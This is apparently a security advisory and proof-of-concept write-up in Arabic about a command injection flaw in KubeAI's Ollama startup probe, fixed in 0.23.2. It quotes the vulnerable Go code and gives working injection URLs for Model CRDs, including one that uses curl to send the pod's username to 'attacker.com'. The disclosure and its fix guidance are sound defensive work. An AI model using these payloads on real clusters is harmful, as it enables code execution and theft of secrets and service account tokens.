
إثبات مفهوم (Proof-of-concept) لثغرة حقن أوامر نظام التشغيل (OS command injection) في فحص بدء تشغيل Ollama الخاص بـ KubeAI، يوضح تنفيذ تعليمات برمجية عشوائية في حاويات نماذج Kubernetes عبر عناوين URL مُصاغة بعناية في Model CRD.
الخطورة: عالية (CVSS 8.7)
CWE: CWE-78 — التحييد غير السليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل
المتأثر: github.com/kubeai-project/kubeai <= 0.23.1
تم إصلاحه في: 0.23.2
الإشعار الأمني: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
الفضل: Romain Deperne
يقوم KubeAI ببناء نص برمجي (script) لفحص بدء التشغيل في Kubernetes عبر إدراج مكوّنات عنوان URL الخاص بـ Model CRD (ref، modelParam) داخل أمر bash -c باستخدام fmt.Sprintf في Go. لا يتم تعقيم محارف الصدفة (shell metacharacters) الموجودة في عنوان URL، مما يمنح أي مستخدم لديه صلاحيات RBAC لإنشاء/تحديث Model CRD تنفيذ أوامر عشوائيًا داخل حاويات خادم النموذج — دون امتيازات cluster-admin.
كنت أتفحص مشغّلات الاستدلال (inference operators) الخاصة بالذكاء الاصطناعي في Kubernetes — وهي أدوات تتيح لك نشر نماذج LLM كأحمال عمل في K8s عبر إنشاء CRDs. يدعم KubeAI محركات Ollama وvLLM وغيرها. كانت فرضيتي: إذا كان بإمكان مستخدم إنشاء Model CRDs، فهل يمكنه التأثير على ما يتم تنفيذه داخل حاويات النموذج؟
أظهر كود محرك vLLM على الفور النمط الصحيح: يتم تمرير الوسائط (args) كمصفوفة نصية إلى exec، دون تدخل أي صدفة. لذا نظرت إلى محرك Ollama للمقارنة — ووجدت fmt.Sprintf("%s %s", pullCmd, u.ref) تتغذى داخل bash -c. إعداد حقن صدفة كلاسيكي.
التعبير النمطي لمحلل عنوان URL [^?]+ (كل شيء عدا ?) هو ما يحسم الأمر: الفواصل المنقوطة والعلامات الخلفية (backticks) و$() كلها صالحة في u.ref. كتبت ملف YAML الخاص بـ PoC، وطبّقته، وراقبت تنفيذ id > /tmp/pwned داخل حاوية النموذج.
الفارق الدقيق الذي يرفع من خطورة هذا: في عناقيد K8s متعددة المستأجرين، غالبًا ما تُمنح صلاحيات RBAC الخاصة بـ Model CRD لفرق ليست صراحةً من مسؤولي العنقود (cluster-admins). هذا يمنح مستأجرًا ذا امتيازات مقيّدة مسارًا مباشرًا لتنفيذ كود عشوائي في حاويات النموذج — بما في ذلك الوصول إلى الأسرار المثبّتة (mounted secrets) ورموز حسابات الخدمة (service account tokens). إنه يتجاوز حدود الامتيازات التي يُفترض أن يفرضها K8s RBAC.
الملف: internal/modelcontroller/engine_ollama.go، الأسطر 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
تُنفَّذ هذه السلسلة النصية بعد ذلك على النحو التالي:
Command: []string{"bash", "-c", startupProbeScript}
محلل URL (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
على النقيض من محرك vLLM (آمن):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
يتخذ محرك Ollama مسارًا مختصرًا: فهو يبني خط أنابيب shell متعدد الخطوات كسلسلة نصية ويمرره إلى bash -c. أما محرك vLLM فيستخدم مصفوفات وسائط على نمط exec. لا يوجد أي webhook للقبول أو تحقق من مخطط CRD يقيّد حقل URL بالأحرف الآمنة.
راجع poc.yaml — طبّقه باستخدام kubectl apply -f poc.yaml على عنقود يعمل عليه KubeAI مع نماذج Ollama.
المتجه 1 — مرجع URL من نوع ollama:// (حقن بفاصلة منقوطة):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
تم إنشاء فحص بدء التشغيل:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
يتم تنفيذ id>/tmp/pwned ويكتب uid=0(root)... إلى /tmp/pwned داخل الـ pod.
المتجه 2 — معامل الاستعلام ?model= (تسريب خارج النطاق OOB):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
تم توليد المسبار:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
تسريب اسم مستخدم الـ pod إلى خادم يتحكم به المهاجم.
Model CRDاستبدل bash -c <string> بفحص من نوع exec يمرّر الوسائط كمصفوفة (كما يفعل محرك vLLM بالفعل)، أو تحقّق من حقول URL مقابل ^[a-zA-Z0-9._:/-]+$ قبل الإدراج.